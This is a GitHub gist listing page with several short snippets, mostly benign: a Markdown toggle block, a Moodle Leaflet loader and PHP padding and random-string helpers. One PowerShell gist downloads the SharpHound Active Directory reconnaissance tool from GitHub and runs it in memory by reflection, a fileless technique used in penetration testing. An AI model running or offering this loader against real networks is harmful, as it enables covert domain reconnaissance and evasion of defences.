Skip to content

Instantly share code, notes, and snippets.

@jojoob
jojoob / GitHub Markdown toggle.md
Created May 23, 2022 15:44
GitHub Markdown toggle code block
<details>
  <summary>ToggleMe</summary>
  Content
</details>
ToggleMe Content
@jojoob
jojoob / SharpHound.ps1
Last active May 17, 2022 14:48
SharpHound Reflection
$bytes = (Invoke-WebRequest -UseBasicParsing "https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe").Content
$Assembly = [Reflection.Assembly]::Load($bytes)
$Assembly.GetType("Costura.AssemblyLoader", $false).GetMethod("Attach", [Reflection.BindingFlags] "Public,Static").Invoke($Null, @())
$Assembly.GetType("Sharphound.Program").GetMethod("Main").Invoke($null, (, [string[]] ('-v 2')))
# proudly copy&pasted from:
# * https://stackoverflow.com/a/69003698
# * https://stackoverflow.com/a/64124227
# * https://github.com/BloodHoundAD/SharpHound/blob/dev/src/Sharphound.cs
M.block_geolocation = M.block_geolocation || {};
M.block_geolocation.leaflet = {
load: function(fn) {
if (!this.inited) {
this.inited = true;
var leafletpath = M.cfg.wwwroot + '/lib/leaflet-0.7.3/';
Y.Get.css(leafletpath + '/leaflet.css', function (err) {
@jojoob
jojoob / gist:baf042de5a535fbc6826
Created January 9, 2015 09:49
One-line random string generator
$foobar = substr(str_shuffle(MD5(microtime())), 0, 10);
@jojoob
jojoob / PKCS7 Padding
Created June 3, 2014 12:46
PHP functions for padding and unpadding data use PKCS7. Useful because mcrypt_encrypt supports only zero padding.
function padPKCS7($data, $blocksize) {
$pad = $blocksize - (strlen($data) % $blocksize);
$data .= str_repeat(chr($pad), $pad);
return $data;
}
function unpadPKCS7($data) {
$pad = ord($data[(strlen($data)) - 1]);
$data = substr($data, 0, strlen($data) - $pad);
return $data;